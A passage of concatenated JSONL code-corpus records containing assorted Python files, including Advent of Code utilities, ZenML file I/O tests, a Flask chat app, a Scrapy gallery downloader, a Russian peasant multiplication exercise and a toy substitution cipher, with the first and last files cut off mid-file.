self.featurelist.append(xvar)\n self.featurelist.append(yvar)\n self.featurelist.append(overlaps)\n\n v, distancecovered = velocities_and_distance_covered(self._x, self._y)\n vfiltered = reject_outliers(v, 3)\n self.rawfeaturelist.extend(vfiltered)\n speed_qs = mquantiles(vfiltered, prob=quantiles)\n angles, jumps = self.angles_and_jumps()\n self.rawfeaturelist.extend(angles)\n anglespeed = [speed * angle for (speed, angle) in zip(v, angles)]\n anglespeedfiltered = reject_outliers(anglespeed, 3)\n anglespeed_qs = mquantiles(anglespeedfiltered, prob=quantiles)\n totalangle = sum(angles)\n angle_qs = mquantiles(angles, prob=quantiles)\n acc, dec, stills = getratio(vfiltered, anglespeed_qs[2])\n\n self.featurelist.append(distancecovered)\n self.featurelist.extend(speed_qs)\n self.featurelist.extend(anglespeed_qs)\n self.featurelist.append(totalangle)\n self.featurelist.extend(angle_qs)\n self.featurelist.append(acc)\n self.featurelist.append(dec)\n self.featurelist.append(stills)\n\n @property\n def features(self):\n \"\"\"Returns a list that comprises all computed features of this trace.\"\"\"\n return self.featurelist\n\n @property\n def rawfeatures(self):\n \"\"\"Returns a list that comprises all computed features of this trace.\"\"\"\n return self.rawfeaturelist\n\n def angles_and_jumps(self):\n jumps = 0.0\n angles = []\n previousmax = distance(self._x[1], self._y[1], self._x[0], self._y[0])\n for i in xrange(1, len(self._x)):\n angles.append(self.getAngle(self._x[i], self._y[i], self._x[i-1], self._y[i-1]))\n current = distance(self._x[i], self._y[i], self._x[i-1], self._y[i-1])\n if current > previousmax:\n if current > 10 * previousmax:\n jumps += 1\n previousmax = current\n return angles, jumps\n\n\n def getAngle(self, x1, y1, x0, y0):\n epsilon = 10e-2\n # get Length\n len1 = float(hypot(x1, y1))\n len2 = float(hypot(x0, y0))\n try:\n return acos((x1*y1+ x0*y0)/(len1*len2))\n except ValueError:\n # self.straights += 1\n if (x0/len1-x1/len2) < epsilon and (y0/len1-y1/len2) < epsilon:\n return 0.0\n else:\n return pi\n except ZeroDivisionError:\n return -1.0*pi\n\n def __str__(self):\n return \"Trace {0} has this many positions: \\n {1}\".format(self.__id, self.triptime)\n\n @property\n def identifier(self):\n \"\"\"Driver identifier is its filename\"\"\"\n return self.__id\n","sub_path":"SPTrace.py","file_name":"SPTrace.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"563956561","text":"for a in range(1, 116):\n if a % 3 == 0 and a % 5 == 0:\n print(\"frontend backend\",end=',')\n continue\n elif a % 3 == 0:\n print(\"frontend\", end=',')\n continue\n elif a % 5 == 0:\n print(\"backend\", end=',')\n continue\n print(a,end=',')","sub_path":"bmgtest.py","file_name":"bmgtest.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"306909814","text":"# coding: utf-8\n\n# Courtesy of Peter Norvig\n#\n# http://nbviewer.jupyter.org/url/norvig.com/ipython/Advent%20of%20Code.ipynb\n\nimport re\nimport numpy as np\nimport math\nimport random\n\nfrom collections import Counter, defaultdict, namedtuple, deque, abc, OrderedDict\nfrom functools import lru_cache\nfrom itertools import (\n permutations,\n combinations,\n chain,\n cycle,\n groupby,\n product,\n islice,\n takewhile,\n zip_longest,\n count as count_from,\n)\nfrom heapq import heappop, heappush\n\nidentity = lambda x: x\nletters = \"abcdefghijklmnopqrstuvwxyz\"\n\ncache = lru_cache(None)\n\ncat = \"\".join\n\nØ = frozenset() # Empty set\ninf = float(\"inf\")\nBIG = 10 ** 999\n\n################ Functions for Input, Parsing\n\n\ndef Input(day):\n \"Open this day's input file.\"\n filename = \"{}.txt\".format(day)\n return open(filename)\n\n\ndef array(lines):\n \"Parse an iterable of str lines into a 2-D array. If `lines` is a str, do splitlines.\"\n if isinstance(lines, str):\n lines = lines.splitlines()\n return mapt(vector, lines)\n\n\ndef vector(line):\n \"Parse a str into a tuple of atoms (numbers or str tokens).\"\n return mapt(atom, line.replace(\",\", \" \").replace(\":\", \" \").split())\n\n\ndef atom(token):\n \"Parse a str token into a number, or leave it as a str.\"\n try:\n return int(token)\n except ValueError:\n try:\n return float(token)\n except ValueError:\n return token\n\n\n################ Functions on Iterables\n\n\ndef first(iterable, default=None):\n return next(iter(iterable), default)\n\n\ndef first_true(iterable, pred=None, default=None):\n \"\"\"Returns the first true value in the iterable.\n If no true value is found, returns *default*\n If *pred* is not None, returns the first item\n for which pred(item) is true.\"\"\"\n # first_true([a,b,c], default=x) --> a or b or c or x\n # first_true([a,b], fn, x) --> a if fn(a) else b if fn(b) else x\n return next(filter(pred, iterable), default)\n\n\ndef nth(iterable, n, default=None):\n \"Returns the nth item of iterable, or a default value\"\n return next(islice(iterable, n, None), default)\n\n\ndef upto(iterable, maxval):\n \"From a monotonically increasing iterable, generate all the values <= maxval.\"\n # Why <= maxval rather than < maxval? In part because that's how Ruby's upto does it.\n return takewhile(lambda x: x <= maxval, iterable)\n\n\ndef grouper(iterable, n, fillvalue=None):\n \"\"\"Collect data into fixed-length chunks:\n grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\"\"\n args = [iter(iterable)] * n\n return zip_longest(*args, fillvalue=fillvalue)\n\n\ndef overlapping(iterable, n):\n \"\"\"Generate all (overlapping) n-element subsequences of iterable.\n overlapping('ABCDEFG', 3) --> ABC BCD CDE DEF EFG\"\"\"\n if isinstance(iterable, abc.Sequence):\n yield from (iterable[i : i + n] for i in range(len(iterable) + 1 - n))\n else:\n result = deque(maxlen=n)\n for x in iterable:\n result.append(x)\n if len(result) == n:\n yield tuple(result)\n\n\ndef pairwise(iterable):\n \"s -> (s0,s1), (s1,s2), (s2, s3), ...\"\n return overlapping(iterable, 2)\n\n\ndef sequence(iterable, type=tuple):\n \"Coerce iterable to sequence: leave it alone if it is already a sequence, else make it of type.\"\n return iterable if isinstance(iterable, abc.Sequence) else type(iterable)\n\n\ndef join(iterable, sep=\"\"):\n \"Join the items in iterable, converting each to a string first.\"\n return sep.join(map(str, iterable))\n\n\ndef powerset(iterable):\n \"Yield all subsets of items.\"\n items = list(iterable)\n for r in range(len(items) + 1):\n for c in combinations(items, r):\n yield c\n\n\ndef quantify(iterable, pred=bool):\n \"Count how many times the predicate is true.\"\n return sum(map(pred, iterable))\n\n\ndef shuffled(iterable):\n \"Create a new list out of iterable, and shuffle it.\"\n new = list(iterable)\n random.shuffle(new)\n return new\n\n\nflatten = chain.from_iterable\n\n\nclass Set(frozenset):\n \"A frozenset, but with a prettier printer.\"\n\n def __repr__(self):\n return \"{\" + join(sorted(self), \", \") + \"}\"\n\n\ndef canon(items, typ=None):\n \"Canonicalize these order-independent items into a hashable canonical form.\"\n typ = typ or (cat if isinstance(items, str) else tuple)\n return typ(sorted(items))\n\n\ndef mapt(fn, *args):\n \"Do a map, and make the results into a tuple.\"\n return tuple(map(fn, *args))\n\n\ndef most_common(seq):\n \"The item that appears most frequently in sequence.\"\n [(item, count)] = Counter(seq).most_common(1)\n return item\n\n\n################ Math Functions\n\n\ndef transpose(matrix):\n return tuple(zip(*matrix))\n\n\ndef isqrt(n):\n \"Integer square root (rounds down).\"\n return int(n ** 0.5)\n\n\ndef ints(start, end):\n \"The integers from start to end, inclusive: range(start, end+1)\"\n return range(start, end + 1)\n\n\ndef floats(start, end, step=1.0):\n \"Yields from start to end (inclusive), by increments of step.\"\n m = 1.0 if step >= 0 else -1.0\n while start * m <= end * m:\n yield start\n start += step\n\n\ndef multiply(numbers):\n \"Multiply all the numbers together.\"\n result = 1\n for n in numbers:\n result *= n\n return result\n\n\nimport operator as op\n\noperations = {\n \">\": op.gt,\n \">=\": op.ge,\n \"==\": op.eq,\n \"<\": op.lt,\n \"<=\": op.le,\n \"!=\": op.ne,\n \"+\": op.add,\n \"-\": op.sub,\n \"*\": op.mul,\n \"/\": op.truediv,\n \"**\": op.pow,\n}\n\n################ 2-D points implemented using (x, y) tuples\n\n\ndef X(point):\n x, y = point\n return x\n\n\ndef Y(point):\n x, y = point\n return y\n\n\norigin = (0, 0)\nUP, DOWN, LEFT, RIGHT = (0, 1), (0, -1), (-1, 0), (1, 0)\n\n\ndef neighbors4(point):\n \"The four neighboring squares.\"\n x, y = point\n return ((x, y - 1), (x - 1, y), (x + 1, y), (x, y + 1))\n\n\ndef neighbors8(point):\n \"The eight neighboring squares.\"\n x, y = point\n return (\n (x - 1, y - 1),\n (x, y - 1),\n (x + 1, y - 1),\n (x - 1, y),\n (x + 1, y),\n (x - 1, y + 1),\n (x, y + 1),\n (x + 1, y + 1),\n )\n\n\ndef cityblock_distance(p, q=origin):\n \"Manhattan distance between two points.\"\n return abs(X(p) - X(q)) + abs(Y(p) - Y(q))\n\n\ndef distance(p, q=origin):\n \"Hypotenuse distance between two points.\"\n return math.hypot(X(p) - X(q), Y(p) - Y(q))\n\n\n################ Debugging\n\n\ndef trace1(f):\n \"Print a trace of the input and output of a function on one line.\"\n\n def traced_f(*args):\n result = f(*args)\n print(\"{}({}) = {}\".format(f.__name__, \", \".join(map(str, args)), result))\n return result\n\n return traced_f\n\n\ndef grep(pattern, iterable):\n \"Print lines from iterable that match pattern.\"\n for line in iterable:\n if re.search(pattern, line):\n print(line)\n\n\n################ A* and Breadth-First Search (tracking states, not actions)\n\n\ndef always(value):\n return lambda *args: value\n\n\ndef Astar(start, moves_func, h_func, cost_func=always(1), debug=False):\n \"Find a shortest sequence of states from start to a goal state (a state s with h_func(s) == 0).\"\n frontier = [\n (h_func(start), start)\n ] # A priority queue, ordered by path length, f = g + h\n previous = {start: None} # start state has no previous state; other states will\n path_cost = {start: 0} # The cost of the best path to a state.\n Path = lambda s: ([] if (s is None) else Path(previous[s]) + [s])\n while frontier:\n (f, s) = heappop(frontier)\n if h_func(s) == 0:\n return Path(s)\n for s2 in moves_func(s):\n g = path_cost[s] + cost_func(s, s2)\n if s2 not in path_cost or g < path_cost[s2]:\n heappush(frontier, (g + h_func(s2), s2))\n path_cost[s2] = g\n previous[s2] = s\n if debug:\n print(g, s2, len(frontier))\n\n\ndef bfs(start, moves_func, goals):\n \"Breadth-first search\"\n goal_func = goals if callable(goals) else lambda s: s in goals\n return Astar(start, moves_func, lambda s: (0 if goal_func(s) else 1))\n","sub_path":"2015/aoc.py","file_name":"aoc.py","file_ext":"py","file_size_in_byte":8136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355974132","text":"sum = 0\npower = 5\nfor i in range(2,10**(power+1)):\n strNum = str(i)\n digSum = 0\n for charDig in strNum:\n digSum += int(charDig)**power\n if digSum == i:\n sum += i\n\nprint(sum)\n\n\n","sub_path":"src/solutions/03/030.py","file_name":"030.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"34655283","text":"# Copyright (c) ZenML GmbH 2021. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n# or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\nimport os\nfrom tempfile import NamedTemporaryFile\nfrom types import GeneratorType\n\nimport pytest\nfrom hypothesis import given\nfrom hypothesis.strategies import text\n\nfrom zenml.constants import REMOTE_FS_PREFIX\nfrom zenml.io import fileio\nfrom zenml.logger import get_logger\n\nlogger = get_logger(__name__)\n\nTEMPORARY_FILE_NAME = \"a_file.txt\"\nTEMPORARY_FILE_SEARCH_PREFIX = \"a_f*.*\"\n\n\ndef test_walk_function_returns_a_generator_object(tmp_path):\n \"\"\"Check walk function returns a generator object\"\"\"\n assert isinstance(fileio.walk(str(tmp_path)), GeneratorType)\n\n\ndef test_is_root_when_true():\n \"\"\"Check is_root returns true if path is the root\"\"\"\n assert fileio.is_root(\"/\")\n\n\ndef test_is_root_when_false(tmp_path):\n \"\"\"Check is_root returns false if path isn't the root\"\"\"\n assert fileio.is_root(tmp_path) is False\n\n\ndef test_is_dir_when_true(tmp_path):\n \"\"\"is_dir returns true when path refers to a directory\"\"\"\n assert fileio.is_dir(str(tmp_path))\n\n\ndef test_is_dir_when_false(tmp_path):\n \"\"\"is_dir returns false when path doesn't refer to a directory\"\"\"\n assert (\n fileio.is_dir(os.path.join(str(tmp_path) + TEMPORARY_FILE_NAME))\n is False\n )\n\n\ndef test_find_files_returns_generator_object_when_file_present(tmp_path):\n \"\"\"find_files returns a generator object when it finds a file\"\"\"\n temp_file = os.path.join(tmp_path, TEMPORARY_FILE_NAME)\n with open(temp_file, \"w\"):\n assert isinstance(\n fileio.find_files(str(tmp_path), TEMPORARY_FILE_SEARCH_PREFIX),\n GeneratorType,\n )\n\n\ndef test_find_files_when_file_present(tmp_path):\n \"\"\"find_files locates a file within a temporary directory\"\"\"\n temp_file = os.path.join(tmp_path, TEMPORARY_FILE_NAME)\n with open(temp_file, \"w\"):\n assert (\n next(fileio.find_files(str(tmp_path), TEMPORARY_FILE_SEARCH_PREFIX))\n is not None\n )\n\n\ndef test_find_files_when_file_absent(tmp_path):\n \"\"\"find_files returns None when it doesn't find a file\"\"\"\n temp_file = os.path.join(tmp_path, TEMPORARY_FILE_NAME)\n with open(temp_file, \"w\"):\n with pytest.raises(StopIteration):\n assert next(fileio.find_files(str(tmp_path), \"abc*.*\"))\n\n\n@pytest.mark.parametrize(\"filesystem\", REMOTE_FS_PREFIX)\ndef test_is_remote_when_using_remote_prefix(filesystem):\n \"\"\"is_remote returns True when path starts with one of the TFX remote file prefixes\"\"\"\n some_random_path = os.path.join(filesystem + \"some_directory\")\n assert fileio.is_remote(some_random_path)\n\n\n@given(text())\ndef test_is_remote_when_using_non_remote_prefix(filesystem):\n \"\"\"is_remote returns False when path doesn't start with a remote prefix\"\"\"\n some_random_path = os.path.join(filesystem + \"some_directory\")\n assert fileio.is_remote(some_random_path) is False\n\n\n@given(text())\ndef test_gcs_path_when_true(filename):\n \"\"\"is_gcs checks if a file begins with the prefix `gs`\"\"\"\n gs_prefix = \"gs://\"\n sample_file_path = gs_prefix + filename\n assert fileio.is_gcs_path(sample_file_path)\n\n\n@given(text())\ndef test_gcs_path_when_false(filesystem):\n \"\"\"is_gcs checks that false is returned when file has no `gs` prefix\"\"\"\n sample_file_path = filesystem + \"test_file.txt\"\n assert fileio.is_gcs_path(sample_file_path) is False\n\n\ndef test_list_dir_returns_a_list_of_file_names(tmp_path):\n \"\"\"list_dir should return a list of file names inside the queried directory\"\"\"\n with NamedTemporaryFile(dir=tmp_path) as temp_file:\n assert fileio.list_dir(str(tmp_path)) == [temp_file.name]\n\n\ndef test_list_dir_returns_a_list_of_file_paths(tmp_path):\n \"\"\"list_dir should return a list of file paths inside the queried directory\"\"\"\n with NamedTemporaryFile(dir=tmp_path) as temp_file:\n assert fileio.list_dir(str(tmp_path)) == [\n os.path.join(tmp_path, temp_file.name)\n ]\n\n\n@pytest.fixture(scope=\"module\")\n@given(sample_file=text())\ndef test_list_dir_returns_one_result_for_one_file(tmp_path, sample_file):\n \"\"\"list_dir should return only one result, when there is only one file created\"\"\"\n with open(sample_file, \"w\"):\n assert len(fileio.list_dir(str(tmp_path))) == 1\n\n\n@pytest.fixture(scope=\"module\")\n@given(sample_file=text())\ndef test_list_dir_returns_empty_list_when_dir_doesnt_exist(\n sample_file, tmp_path\n):\n \"\"\"list_dir should return an empty list when the directory\"\"\"\n \"\"\"doesn't exist\"\"\"\n not_a_real_dir = os.path.join(tmp_path, sample_file)\n assert isinstance(fileio.list_dir(not_a_real_dir), list)\n\n\n# @pytest.mark.xfail()\n# TODO [HIGH]: write this test\n# def test_logging_takes_place_on_fail_of_list_dir(caplog):\n# \"\"\"logger should output a debug statement on failure to find directory\"\"\"\n# not_a_real_dir = \"./not_a_dir\"\n# caplog.set_level(logger.DEBUG)\n# fileio.list_dir(not_a_real_dir)\n# assert f\"Dir {not_a_real_dir} not found.\" in caplog.text\n","sub_path":"tests/io/test_fileio.py","file_name":"test_fileio.py","file_ext":"py","file_size_in_byte":5528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570030013","text":"# -*- coding: utf-8 -*-\nfrom collections import defaultdict\nimport json\nimport os\n\nchange_dict = {\n \"nome\" : {\n \"lista_mudanca\" : [\n {\"tipo\": \"varchar(80)\"}\n ]\n },\n \"geometriaaproximada\" : {\n \"lista_mudanca\" : [\n {\"tipo\" : \"boolean\"}\n ],\n \"lista_remocao\" : [\n \"mapa_valor\",\n \"valores\"\n ]\n }\n}\n\nwith open(os.path.join(os.path.dirname(__file__),'masterfile300_dsgtools_v4.json'), 'r', encoding='utf-8') as f:\n master_dict = json.load(f)\n\n# for domain_item in master_dict['dominios']:\n# for value_item in domain_item['valores']:\n# if value_item['value'] in ['Desconhecido', 'Desconhecida']:\n# value_item['code'] = 0\n\n# for class_item in master_dict['classes']:\n# for attr_item in class_item['atributos']:\n# if attr_item['nome'] in change_dict:\n# if \"lista_mudanca\" in change_dict[attr_item['nome']]:\n# for mudanca in change_dict[attr_item['nome']][\"lista_mudanca\"]:\n# for k, v in mudanca.items():\n# attr_item[k] = v\n# if \"lista_remocao\" in change_dict[attr_item['nome']]:\n# for remocao in change_dict[attr_item['nome']][\"lista_remocao\"]:\n# if remocao in attr_item:\n# attr_item.pop(remocao)\n\n### fix desconhecido\n\ndomainDict = defaultdict(list)\nfor domain_item in master_dict['dominios']:\n domain_item['valores'].sort(key=lambda x:x['code'])\n domainDict[domain_item['nome']] = set(i['code'] for i in domain_item['valores'])\n\n\nnomesDominios = set()\nfor class_item in master_dict['classes']:\n for attr_item in class_item['atributos']:\n if 'mapa_valor' in attr_item:\n nomesDominios.add(attr_item['mapa_valor'])\n if 'valores' in attr_item:\n attr_item['valores'].sort(key=lambda x:x['code'])\n valoresSet = set(i['code'] for i in attr_item['valores'])\n if domainDict[attr_item['mapa_valor']] == valoresSet:\n attr_item.pop('valores')\n else:\n #iterar para verificar valores no filtro que não estão no domínio\n removeList = [idx for idx, v in enumerate(attr_item['valores']) if v['code'] not in domainDict[attr_item['mapa_valor']]]\n removeList.sort(reverse=True)\n for idx in removeList:\n attr_item['valores'].pop(idx)\n\n### fix dominios não utilizados\ndomainsToRemove = [idx for idx, domain_item in enumerate(master_dict['dominios']) if domain_item['nome'] not in nomesDominios]\ndomainsToRemove.sort(reverse=True)\nfor idx in domainsToRemove:\n master_dict['dominios'].pop(idx)\n\nwith open(os.path.join(os.path.dirname(__file__),'masterfile300_dsgtools_v4.json'), 'w', encoding='utf-8') as g:\n g.write(json.dumps(master_dict, indent=4, sort_keys=False, ensure_ascii=False))","sub_path":"rotinas/corrige_masterfile.py","file_name":"corrige_masterfile.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"171431867","text":"def russian_peasant():\r\n input_valid = False\r\n X, Y = 0, 0\r\n \r\n while not input_valid:\r\n x = input(\"Enter the first number : \")\r\n if not x.isdigit() or int(x) <= 0:\r\n print(\"First number is not valid. Try again.\")\r\n continue\r\n y = input(\"Enter the second number : \")\r\n if not y.isdigit() or int(y) <= 0:\r\n print(\"Second number is not valid. Try again.\")\r\n continue\r\n input_valid = True\r\n X, Y = int(x), int(y)\r\n\r\n sum = 0\r\n XX, YY = X, Y\r\n while Y != 0:\r\n if Y % 2 == 1:\r\n sum += X\r\n X, Y = X*2, Y//2\r\n print(\"{} * {} = {}\".format(XX, YY, sum))\r\n\r\ndef addBinary(binaryA, binaryB):\r\n if len(binaryA) >= len(binaryB):\r\n max_len = len(binaryA)\r\n binaryB = \"0\" * (max_len - len(binaryB)) + binaryB\r\n else:\r\n max_len = len(binaryB)\r\n binaryA = \"0\" * (max_len - len(binaryA)) + binaryA\r\n returnString = \"\"\r\n carry = \"0\"\r\n for i in range(max_len - 1, -1, -1):\r\n s = int(carry) + int(binaryA[i]) + int(binaryB[i])\r\n if s == 3:\r\n carry = \"1\"\r\n returnString = \"1\" + returnString\r\n elif s == 2:\r\n carry = \"1\"\r\n returnString = \"0\" + returnString\r\n elif s == 1:\r\n carry = \"0\"\r\n returnString = \"1\" + returnString\r\n else:\r\n carry = \"0\"\r\n returnString = \"0\" + returnString\r\n if carry == \"1\":\r\n returnString = \"1\" + returnString\r\n else:\r\n a = 0\r\n while True:\r\n if returnString[a] == \"1\":\r\n break\r\n a += 1\r\n returnString = returnString[a:]\r\n return returnString \r\n\r\ndef russian_peasant_binary():\r\n input_valid = False\r\n X, Y = 0, 0\r\n XX, YY = 0, 0\r\n \r\n while not input_valid:\r\n x = input(\"Enter the first number : \")\r\n if not x.isdigit() or int(x) <= 0:\r\n print(\"First number is not valid. Try again.\")\r\n continue\r\n y = input(\"Enter the second number : \")\r\n if not y.isdigit() or int(y) <= 0:\r\n print(\"Second number is not valid. Try again.\")\r\n continue\r\n input_valid = True\r\n X, Y = dec2bin(x), dec2bin(y)\r\n\r\n XX, YY = X, Y\r\n sum = \"0\"\r\n \r\n while len(Y) > 0:\r\n if Y[-1] == \"1\":\r\n sum = addBinary(sum, X)\r\n X = X + \"0\"\r\n Y = Y[:-1]\r\n\r\n print(\"{} * {} = {}\".format(XX, YY, sum))\r\n \r\nclass Node():\r\n def __init__(self, data, pointer = None):\r\n self.__data = data\r\n self.__pointer = pointer\r\n\r\n def setData(self, newData):\r\n self.__data = newData\r\n\r\n def getData(self):\r\n return self.__data\r\n\r\n def setPointer(self, newPointer):\r\n self.__pointer = newPointer\r\n\r\n def getPointer(self):\r\n return self.__pointer\r\n\r\n\r\nclass Stack():\r\n def __init__(self):\r\n self.__start = None\r\n\r\n def push(self, newData):\r\n newNode = Node(newData)\r\n current = self.__start\r\n if current == None:\r\n self.__start = newNode\r\n else:\r\n newNode.setPointer(self.__start)\r\n self.__start = newNode\r\n\r\n def pop(self):\r\n if self.__start == None:\r\n print(\"Stack Empty\")\r\n else:\r\n temp = self.__start\r\n self.__start = temp.getPointer()\r\n return temp.getData()\r\n\r\n def isEmpty(self):\r\n return self.__start == None\r\n\r\n def print(self):\r\n if self.__start == None:\r\n print(\"Empty Stack\")\r\n else:\r\n temp = self.__start\r\n while temp != None:\r\n print(\"{:^5}\".format(temp.getData()), end = \" \")\r\n temp = temp.getPointer()\r\n\r\n\r\ndef dec2bin(decString):\r\n \r\n a = Stack()\r\n b = int(decString)\r\n output = \"\"\r\n \r\n while b != 0:\r\n a.push(b % 2)\r\n b = (b - (b % 2)) // 2\r\n\r\n while not a.isEmpty():\r\n output += str(a.pop())\r\n\r\n return output\r\n\r\n\r\n\r\n \r\n \r\n \r\n\r\ndef main():\r\n a = Stack()\r\n a.print()\r\n a.push(1)\r\n a.push(2)\r\n a.push(3)\r\n a.pop()\r\n a.pop()\r\n a.print()\r\n \r\n \r\n\r\n\r\n \r\n","sub_path":"Computing J2/PC 22 Russian Peasant/russian_peasant.py","file_name":"russian_peasant.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"222414257","text":"\nimport requests\nimport config\nfrom prettytable import PrettyTable\n\nkey = config.key\n\napi = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?CMC_PRO_API_KEY='\napi += key\n\nraw_data = requests.get(api).json()\ndata = raw_data['data']\n\ntable = PrettyTable()\n\nfor currency in data:\n name = currency['name']\n price = currency['quote']['USD']['price']\n change_1h = currency['quote']['USD']['percent_change_1h']\n change_24h = currency['quote']['USD']['percent_change_24h']\n change_7d = currency['quote']['USD']['percent_change_7d']\n\n table.add_row([name,price,change_1h,change_24h,change_7d])\ntable.field_names = [\"Name\",\"Price\",\"Change 1h\",\"Change 24h\",\"Change 7d\"]\ntable.sortby = \"Change 24h\"\ntable.reversesort = True\nprint(table)","sub_path":"py/CMC/cmc2.py","file_name":"cmc2.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470943760","text":"from flask import Flask, render_template, request\nfrom flask_socketio import SocketIO, send\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app)\n\nif __name__ == '__main__':\n socketio.run(app)\n\n@app.route('/form')\ndef form():\n return render_template('form.html')\n\n@app.route('/')\ndef main_page():\n return render_template('home.html')\n\n# [START submitted]\n@app.route('/submitted', methods=['POST'])\ndef submitted_form():\n name = request.form['name']\n email = request.form['email']\n site = request.form['site_url']\n comments = request.form['comments']\n # [END submitted]\n # [START render_template]\n return render_template(\n 'submitted_form.html',\n name=name,\n email=email,\n site=site,\n comments=comments)\n # [END render_template]\n\n\n#socket.io app\n@socketio.on('message')\ndef handleMessage(msg):\n print('Message: ' + msg)\n send(msg, broadcase=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"102289104","text":"from twisted.internet import reactor\nfrom scrapy.crawler import Crawler\nfrom scrapy.utils.project import get_project_settings\nfrom scrapy import log, signals\nfrom scrapy.xlib.pydispatch import dispatcher\nfrom ehentai.spiders.EHentai import EHentaiSpider\nimport requests\nimport pyquery as pq\nimport sys\nimport os\nfrom progressbar import Bar, Percentage, ProgressBar\nimport shutil\n\npage_number = 0\ncounter = 0\ngallery_name = 'UNKNOWN'\npbar = None\n\n\ndef stop_reactor():\n global gallery_name, pbar\n reactor.stop()\n pbar.finish()\n shutil.move(os.path.join(os.getcwd(), 'downloads'), os.path.join(os.getcwd(), gallery_name))\n\n\ndef get_summary_info(url):\n global page_number, gallery_name, pbar\n page_source = requests.get(url).content\n gallery_name = pq.PyQuery(page_source)('title').text()\n page_number = int(pq.PyQuery(page_source)('td.gdt2:contains(\"pages\")').text().split()[0])\n pbar = ProgressBar(widgets=[Percentage(), Bar()], maxval=page_number).start()\n\n\ndef update():\n global counter, pbar\n counter += 1\n pbar.update(counter)\n\n\nget_summary_info(sys.argv[1] + u'?nw=session')\ndispatcher.connect(stop_reactor, signal=signals.spider_closed)\ndispatcher.connect(update, signal=signals.item_scraped)\n\n\nspider = EHentaiSpider(start_urls=[sys.argv[1] + u'?nw=session'])\ncrawler = Crawler(get_project_settings())\ncrawler.configure()\ncrawler.crawl(spider)\ncrawler.start()\nlog.start(loglevel='ERROR', logstdout=False)\nreactor.run()\n","sub_path":"ehentai/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"561570744","text":"\n# TDL:\n# 3. Creating UI/Proper Console\n# 4. Actually input the correct values from M1\n# 5. Different recursion styles???\n# 8. Enable Custimization of the generator\n# 10. Translation issues: \n# -Spaces, \n# -Capitilization, \n# -Punctuation, \n# -Spaces (preserve lettersoup for more challenging decoding), \n# -Numbers(represent them as a-j(arrays start at zero)) ,\n# -Weird symbols (²³¤€³¡½¾=-+ etc.)\n# -The \"-\" in particular might be a giant issue... (escape character??)\n# 11. Have the generation time determine something about the sheet or the encoding, just for funzies\n\n\n# Importation\nimport json\nimport random\nimport datetime\nFileName = \"GeneratedSheet2019052910351.json\"\nStart_EncodeOrDecode = \"Encode\"\nEndcodingStyle = \"2-1--\" # Alternatives: 1-2--,2--1,2-2-1-- etc.\nStart_Input = \"ik wil graag dat je deze shit ff opfuckt maat\"\n\n# Where the shit starts running\ndef StartHere():\n x = Start_Input\n EncodeOrDecode = Start_EncodeOrDecode\n if EncodeOrDecode == \"Encode\":\n Output = Encode(x)\n elif EncodeOrDecode == \"Decode\":\n Output = Decode(x)\n elif EncodeOrDecode == \"Generate Sheet\":\n CreateSheet()\n else:\n print(\"How dfq did you fuck it up so badly???\")\n x = input()\n\n # Output\n outString = \"\"\n for Word in Output:\n outString += str(Word) + \"-\"\n print(outString)\n \n\n# Encodeing the input\ndef Encode(x):\n print(\"Encoding started with phrase: \" + Start_Input)\n Working = StringSplitter(x, EndcodingStyle)\n Output = Dictionary(Working, \"Encode\")\n return Output\n\n# Decoding the input\ndef Decode(x):\n print(\"Decoding started with string: \" + Start_Input)\n Working = []\n # The StringSplitter for Decoding is much simpler, so it's here\n for Word in x.split(\" \"):\n for Char in Word.split(\"-\"):\n Working.append(Char)\n Output = Dictionary(Working, \"Decode\")\n return Output\n\n# Splitting the string up into the pieces it should be split up in\n# This Function assumes that Input is a string, it can't be a list\n# The EncodingStyle is not yet implemented, defaults to 2-1--\n# Punctuation, preserving spaces, and capilization are also currently issues\ndef StringSplitter(Input, Style):\n # Establishing variables\n Output = []\n Turn = 1\n y = \"\"\n\n # This is a little bit of a mess, maybe it can be made better?\n for Word in Input.split(\" \"):\n Word.strip()\n \n for Char in Word:\n y += Char\n if Turn % 2 == 0:\n Output.append(y)\n y = \"\"\n Turn += 1\n elif Turn % 3 == 0:\n Output.append(y)\n y = \"\"\n Turn = 1\n else:\n Turn += 1\n\n # Returning the Output\n return Output\n\n# Using the Dictionary\ndef Dictionary(InArray, EncodeOrDecode):\n # Getting the Dictionary from file\n with open(FileName, \"r\") as MyFile:\n x = json.load(MyFile)\n Dictionary = x\n\n # Taking the words from the InArray, translating them, and putting them in the OutArray\n OutArray = []\n if EncodeOrDecode==\"Encode\": \n for x in InArray:\n OutArray.append(Dictionary[x])\n\n # Taking the numbers from the InArray, translating them, and putting them in the 